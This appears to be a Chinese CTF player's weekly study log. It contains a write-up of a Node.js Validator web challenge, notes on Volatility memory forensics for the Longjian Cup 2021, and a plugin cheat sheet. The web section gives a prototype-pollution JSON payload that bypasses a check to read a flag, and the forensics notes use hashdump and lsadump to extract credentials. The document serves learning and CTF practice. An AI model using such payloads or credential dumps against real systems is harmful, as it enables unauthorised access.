完成事项
未完成的事项
下周待做的事
[安洵杯 2020]Validator 扫目录扫到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 const express = require('express') const express_static = require('express-static') const fs = require('fs') const path = require('path') const app = express() const port = 9000 app.use(express.json()) app.use(express.urlencoded({ extended: true })) let info = [] const { body, validationResult } = require('express-validator') middlewares = [ body('*').trim(), body('password').isLength({ min: 6 }), ] app.use(middlewares) readFile = function (filename) { var data = fs.readFileSync(filename) return data.toString() } app.post("/login", (req, res) => { console.log(req.body) const errors = validationResult(req); if (!errors.isEmpty()) { return res.status(400).json({ errors: errors.array() }); } if (req.body.password == "D0g3_Yes!!!"){ console.log(info.system_open) if (info.system_open == "yes"){ const flag = readFile("/flag") return res.status(200).send(flag) }else{ return res.status(400).send("The login is successful, but the system is under test and not open...") } }else{ return res.status(400).send("Login Fail, Password Wrong!") } }) app.get("/", (req, res) => { const login_html = readFile(path.join(__dirname, "login.html")) return res.status(200).send(login_html) }) app.use(express_static("./")) app.listen(port, () => { console.log(`server listening on ${port}`) })
就有个密码,而且还登不上去提示没想的这么简单
没看出个所以然看了眼package.json有了想法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { "name": "validator", "version": "1.0.0", "main": "app.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "express": "^4.17.1", "express-static": "^1.2.6", "express-validator": "^6.6.0", "fs": "0.0.1-security", "lodash": "^4.17.16" } }
validator?还是低版本的,正好前几天刷博客刷到了,应该是原型链污染没错了
那么什么是validator?在 Node.js 中,”validator”是一个常用的数据验证库,用于验证和处理不同类型的数据。它提供了一组方便的函数和方法,用于验证字符串、数字、日期、URL、电子邮件等常见数据类型的有效性,这个洞确实小众,基本上查不到相关漏洞复现
1 2 3 { "a" : {"__proto__" : {"test" : "testvalue" }}, "a\"].__proto__[\"test" : 222 }
1 2 3 4 { "password" :"D0g3_Yes!!!" , "a" : {"__proto__" : {"system_open" : "yes" }}, "a\"].__proto__[\"system_open" : "yes" }
陇剑杯2021内存分析1&2 备赛今年金砖,开始学习单机取证,y1s1,vo这环境还是太难装了,各种tools报错,特别是vo3,vo2版本稍好,虽然有报错但是至少能运行
首先拿到任何镜像都需要做的一件事就是查看目标镜像的相关信息,确认是Win7SP1x64
1 python2 vol.py -f Target.vmem imageinfo
根据下上述的信息,那么我们可以通过lsadump得出第一问flag,虽然也可以用mimikatz的但是我这环境似乎出了些许问题,报错
第二问,我们直接看所有文件,应该是可以找到的,
好吧,老实了
后面接一个grep找罢,找到了,
down下来看看是什么,解压后就这些东西,没看懂,怎么还有enc加密,去看了wp才知道是需要华为的数据恢复工具才能解出
https://github.com/RealityNet/kobackupdec
这里有看了眼wp,原来华为修复时不能只有一个单一的enc文件,还需要一个exe文件,而这个exe文件也在这个文件内,密码就是flag1
内存分析-相关知识 上周恶补的
1.内存分析技术时⽤于⽹络攻击,恶意软件,数据泄露等等
2.取证的时候磁盘镜像⽂件后缀有(dd,E01,qcow1)
内存镜像⽂件后缀有(raw,vmem,img,data,dmp)
3.拿到镜像第⼀步就是查看镜像相关信息
python2 vol.py -f xxx imageinfo
python2 vol.py -f xxx –profile=xxx xxx
4.BitLocker加密与解密
这是windows⾃带的驱动器加密,能够同时⽀持FAT和NTFS俩种格式,可以加密整个系统分区,也可以
加密可移动的编写存储设备
⼀般使⽤AES加密(128或者256)的运算加密进⾏加密,其加密的安全可靠性得到了保证
5.TrueCrypt的取证
1)通过密码解密:加载对应的加密⽂件或是设备,输⼊密码后点击确定,即可解密
2)通过密钥⽂件解密:加载对应的加密⽂件或是设备勾选使⽤密钥⽂件,添加密钥⽂件,即可解密
3)通过内存镜像进⾏解密
6.passware:密码破解⼯具集,它将所有的密码恢复模块全部集成到⼀个主程序中
7.并且从相关资料中可以得知,主机名会出储存在\REGISTRY\MACHINE\SYSTEM中的
ControlSet001\Control\ComputerName\ComputerName条⽬中,便可以直接读取
1. 查看当前内存镜像中的⽤户密码信息,可以使⽤printkey命令。例如,要查看
SAM\Domains\Account\Users\Names的⽤户名和密码信息,可以输⼊`printkey -K
“SAM\Domains\Account\Users\Names”`。例如volatility -f 1.vmem –profile=Win7SP1x64
printkey -K “SAM\Domains\Account\Users\Names”
2. 查看⽤户名密码信息(哈希值需要john爆破),可以使⽤hashdump命令。例如查看当前系统ip和
主机名,可以提交Flag{ip:主机名}。例如volatility -f 1.vmem –profile=Win7SP1x64 hashdump
3. 查看进程pslist。例如,要查看已知进程,可以输⼊pslist。
4. 隐藏或解链的进程psscan。例如,要查看服务名称,可以输⼊svcscan。
2 5. 查看浏览器历史记录,获取当前系统浏览器搜索过的关键词,可以使⽤iehistory命令。例如,
要获取当前系统浏览器搜索过的关键词,可以输⼊iehistory。
6. 查看⽹络连接,可以使⽤netscan命令。例如,要获取当前系统的IP和主机名,可以输⼊
netscan。
7. 查看⽹络连接connscan。例如,要查看⽹络连接,可以输⼊connscan。
8. 查看命令⾏操作,显示cmd历史命令,可以使⽤cmdscan命令。例如,要显示cmd历史命令,
可以输⼊cmdscan。
9. 查看进程命令⾏参数(具体⼀些可疑进程的参数指令),可以使⽤cmdline命令。例如,要列出
某⼀进程加载的所有dll⽂件,可以输⼊dlllist -p 2588。
10. 扫描所有的⽂件列表,可以使⽤filescan命令。例如,要扫描所有⽂件列表,可以输⼊
filescan。
11. 查看⽂件内容,可以使⽤dmpfiles命令。例如,要查看⽂件内容,可以输⼊dmpfiles。
12. 查看当前展示的notepad内容,可以使⽤notepad命令。例如,要查看当前展示的 notepad ⽂
本,可以输⼊notepad。
13. 显示有关编辑控件的信息,可以使⽤editbox命令。例如,要显示有关编辑控件的信息,可以
输⼊editbox。
14. 提取进程memdump。例如,要提取指定进程,常⽤foremost 来分离⾥⾯的⽂件,需要指定进
程-p [pid] 和输出⽬录 -D。例如,要提取进程号为332的进程,可以输⼊`memdump -p 332 -
D XX/`。
15. 屏幕截图,可以使⽤screenshot命令。例如,要保存基于GDI窗⼝的伪截屏,可以输⼊
screenshot –dump-dir=./。
16. 查看注册表配置单元hivelist。例如,要列出所有的注册表项及其虚拟地址和物理地址,可以输
⼊hivelist。
17. 查看注册表键名hivedmp。例如,要查看注册表键值,可以输⼊`hivedump -o
0xfffff8a001032410`。
18. 获取主机名,可以使⽤printkey命令。例如,要获取主机名,可以输⼊`printkey -K
“ControlSet001\Control\ComputerName\ComputerName”`。
19. 列出⽤户名,可以使⽤printkey命令。例如,要列出⽤户名,可以输⼊`printkey -K
“SAM\Domains\Account\Users\Names”`。
3 20. 查看运⾏程序相关的记录,⽐如最后⼀次更新时间,运⾏过的次数等。可以使⽤userassist命
令。例如,要查看运⾏程序相关的记录,可以输⼊userassist。
21. 最⼤程序提取信息timeliner。例如,要将所有操作系统事件以时间线的⽅式展开,可以输⼊
timeliner。
22. 查看剪贴板信息clipboard。例如,要查看剪贴板信息,可以输⼊clipboard。
23. 显示关于计算机及其操作系统的详细配置信息(插件)systeminfo。例如,要显示关于计算机
及其操作系统的详细配置信息,可以输⼊systeminfo。
24. 恢复被删除的⽂件mftparser。例如,要恢复被删除的⽂件,可以输⼊mftparser。
25. 查看环境变量envars。例如,要查看环境变量,可以输⼊envars。
26. 列出某⼀进程加载的所有dll⽂件dlllist。例如,要列出某⼀进程加载的所有dll⽂件,需要指定
进程-p [pid]。例如,要列出进程号为2588的进程加载的所有dll⽂件,可以输⼊`dlllist -p
2588`。
27. 程序版本信息verinfo。例如,要列出PE|程序版本信息,可以输⼊verinfo。
28. 产看进程树,可以轻松了解各进程之间的关系:⽗进程与⼦进程 pstree。例如,要在进程中
PPID⽐PID还⼤,那可能这个进程有异常程序。
29.envars 显示进程的环境变量
30.使⽤strings时⼀定要记着使⽤-e l防⽌有遗漏⽂件
31.swp是vim编辑⽂件时意外中断时产⽣
vim -r ./message.swp
32.raw,vmem,img可以使⽤volatility
33. vboxinfo:转储 virtualbox 信息(可能有提示)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 amcache:输出 AmCache 信息 apihooks:检测进程和内核内存中的 API 钩⼦ atoms:打印会话和窗⼝⼯作站的原⼦表 atomscan:扫描原⼦表的内存池 auditpol:输出 HKLMSECURITYPolicyPolAdtEv 中的审计策略 bigpools:使⽤ BigPagePoolScanner 转储⼤⻚⾯池 bioskbd:从实模式内存读取键盘缓冲区 cachedump:从内存中转储域缓存哈希 callbacks:输出系统范围的通知例程 clipboard:提取 Windows 剪贴板内容 cmdline:显示进程的命令⾏参数 cmdscan:通过扫描 _COMMAND_HISTORY 提取命令历史 connections:输出开放连接列表(仅适⽤于 Windows XP 和 2003 ) connscan:扫描 TCP 连接的内存池 consoles:通过扫描 _CONSOLE_INFORMATION 提取命令历史 crashinfo:转储崩溃转储信息 deskscan:扫描 tagDESKTOP(桌⾯)的内存池 devicetree:显示设备树 dlldump:从进程地址空间转储 DLL dlllist:输出每个进程加载的 DLL 列表 driverirp:检测驱动 IRP 钩⼦ drivermodule:将驱动对象与内核模块关联 driverscan:扫描驱动对象的内存池 dumpcerts:转储 RSA 私钥和公钥 SSL 密钥 dumpfiles:提取内存映射和缓存⽂件 dumpregistry:将注册表⽂件转储到磁盘 editbox:显示编辑控件的信息(Listbox 实验性) envars:显示进程的环境变量 eventhooks:输出 Windows 事件钩⼦的详细信息 evtlogs:提取 Windows 事件⽇志(仅限 XP/2003 ) filescan:扫描⽂件对象的内存池 gahti:转储 USER 句柄类型信息 gditimers:输出已安装的 GDI 定时器和回调 gdt:显示全局描述符表 getservicesids:获取注册表中的服务名称并返回计算的 SID getsids:输出拥有每个进程的 SID handles:输出每个进程的开放句柄列表 hashdump:从内存中转储密码哈希(LM/NTLM) hibinfo:转储休眠⽂件信息 hivedump:输出注册表 hive 信息 hivelist:输出注册表 hive 列表 hivescan:扫描注册表 hive 的内存池 hpakextract:从 HPAK ⽂件中提取物理内存 hpakinfo:输出 HPAK ⽂件的信息 idt:显示中断描述符表 iehistory:重建 Internet Explorer 缓存/历史记录 imagecopy:将物理地址空间复制为原始 DD 镜像 imageinfo:识别镜像的信息 impscan:扫描导⼊函数的调⽤ joblinks:输出进程作业链接信息 kdbgscan:搜索并转储潜在的 KDBG 值 kpcrscan:搜索并转储潜在的 KPCR 值 ldrmodules:检测未链接的 DLL lsadump:从注册表转储(解密的)LSA 机密 machoinfo:转储 Mach-O ⽂件格式信息 malfind:查找隐藏和注⼊的代码 mbrparser:扫描并解析潜在的主引导记录 (MBR) memdump:转储进程的可寻址内存 memmap:输出内存映射 messagehooks:列出桌⾯和线程窗⼝的消息钩⼦ mftparser:扫描并解析潜在的 MFT 条⽬ moddump:转储内核驱动到可执⾏⽂件样本 modscan:扫描内核模块的内存池 modules:输出加载的模块列表 multiscan:同时扫描多种对象 mutantscan:扫描互斥对象的内存池 notepad:列出当前显示的记事本⽂本 objtypescan:扫描 Windows 对象类型对象 patcher:基于⻚⾯扫描修补内存 poolpeek:可配置的内存池扫描插件 printkey:输出注册表键及其⼦键和值 privs:显示进程权限 procdump:转储进程到可执⾏⽂件样本 pslist:通过 EPROCESS 列表输出所有正在运⾏的进程 psscan:扫描进程对象的内存池 pstree:以树状显示进程列表 psxview:使⽤多种进程列表查找隐藏进程 qemuinfo:转储 Qemu 信息 raw2dmp:将物理内存样本转换为 windbg 崩溃转储 screenshot:根据 GDI 窗⼝保存伪截图 servicediff:列出 Windows 服务(类似 Plugx) sessions:列出 _MM_SESSION_SPACE(⽤户登录会话)的详细信息 shellbags:输出 ShellBags 信息 shimcache:解析应⽤兼容性 Shim 缓存注册表键 shutdowntime:从注册表输出机器的关机时间 sockets:输出开放的套接字列表 sockscan:扫描 TCP 套接字对象的内存池 ssdt:显示 SSDT 条⽬ strings:将物理偏移与虚拟地址匹配(可能耗时,信息量⼤) svcscan:扫描 Windows 服务 symlinkscan:扫描符号链接对象的内存池 volatility -f 1 .vmem --profile=Win7SP1x64 screenshot --dump-dir=./ screenshot:保存基于GDI窗⼝的伪截屏 屏幕截图screenshot thrdscan:扫描线程对象的内存池 threads:调查 _ETHREAD 和 _KTHREAD timeliner:从内存中的各种⼯件创建时间线 timers:输出内核定时器及相关模块 DPC truecryptmaster:恢复 TrueCrypt 7.1 a 主密钥 truecryptpassphrase:查找 TrueCrypt 缓存的密码短语 truecryptsummary:输出 TrueCrypt 概要 unloadedmodules:输出已卸载的模块列表 userassist:输出 UserAssist 注册表键和信息 userhandles:转储 USER 句柄表 vaddump:转储 VAD 部分到⽂件 vadinfo:转储 VAD 信息 vadtree:以树状显示 VAD 树 vadwalk:遍历 VAD 树 vboxinfo:转储 virtualbox 信息 verinfo:输出 PE 镜像的版本信息 vmwareinfo:转储 VMware VMSS/VMSN 信息 volshell:在内存镜像中进⼊ Shell windows:输出桌⾯窗⼝(详细信息) wintree:输出 Z-Order 桌⾯窗⼝树 wndscan:扫描窗⼝⼯作站的内存池
感想 也许正如风信子师傅说的那样,我太迷茫了,技术上什么都知道一些但是什么都不精通,确实该静下心潜心研究一门技术